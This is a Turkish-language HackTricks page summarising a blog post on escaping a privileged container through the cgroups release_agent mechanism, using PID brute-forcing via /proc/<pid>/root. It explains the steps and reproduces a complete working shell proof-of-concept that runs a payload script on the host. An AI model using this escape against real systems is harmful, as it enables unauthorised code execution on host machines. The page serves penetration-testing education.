release_agent exploit - Relative Paths to PIDs

Support HackTricks

Daha fazla ayrıntı için https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html blog gönderisini kontrol edin. Bu sadece bir özet:

Teknik, bir konteyner içinden ana makine kodunu çalıştırma yöntemini özetlemektedir ve Kata Containers veya belirli devicemapper ayarları gibi konteynerin dosya sistemi yolunu ana makinede gizleyen depolama sürücüsü yapılandırmalarının getirdiği zorlukları aşmaktadır.

Ana adımlar:

  1. İşlem Kimliklerini (PID) Bulma: Linux sahte dosya sistemindeki /proc/<pid>/root sembolik bağlantısını kullanarak, konteyner içindeki herhangi bir dosyaya ana makinenin dosya sistemi ile ilgili olarak erişilebilir. Bu, konteynerin dosya sistemi yolunu ana makinede bilme gereğini ortadan kaldırır.

  2. PID Kırma: Ana makinedeki PID'leri aramak için bir kaba kuvvet yaklaşımı kullanılır. Bu, /proc/<pid>/root/<file> yolunda belirli bir dosyanın varlığını sırayla kontrol ederek yapılır. Dosya bulunduğunda, ilgili PID'nin hedef konteyner içinde çalışan bir işleme ait olduğunu gösterir.

  3. Çalıştırmayı Tetikleme: Tahmin edilen PID yolu cgroups release_agent dosyasına yazılır. Bu işlem, release_agent'in çalıştırılmasını tetikler. Bu adımın başarısı, bir çıktı dosyasının oluşturulup oluşturulmadığını kontrol ederek doğrulanır.

Sömürü Süreci

Sömürü süreci, konteyner içinde çalışan bir işlemin doğru PID'sini tahmin ederek ana makinede bir yük çalıştırmayı amaçlayan daha ayrıntılı bir eylem setini içerir. İşte nasıl gelişir:

  1. Ortamı Başlat: Ana makinede bir yük betiği (payload.sh) hazırlanır ve cgroup manipülasyonu için benzersiz bir dizin oluşturulur.

  2. Yükü Hazırla: Ana makinede çalıştırılacak komutları içeren yük betiği yazılır ve çalıştırılabilir hale getirilir.

  3. Cgroup'u Kur: Cgroup monte edilir ve yapılandırılır. Yükün cgroup serbest bırakıldığında çalıştırılmasını sağlamak için notify_on_release bayrağı ayarlanır.

  4. PID'yi Kaba Kuvvetle Kır: Bir döngü, potansiyel PID'ler arasında döner ve her tahmin edilen PID'yi release_agent dosyasına yazar. Bu, yük betiğini release_agent olarak ayarlar.

  5. Çalıştırmayı Tetikle ve Kontrol Et: Her PID için, cgroup'un cgroup.procs dosyasına yazılır, eğer PID doğruysa release_agent'in çalıştırılmasını tetikler. Döngü, yük betiğinin çıktısı bulunana kadar devam eder, bu da başarılı bir çalıştırmayı gösterir.

Blog gönderisinden PoC:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
HackTricks'i Destekleyin

Last updated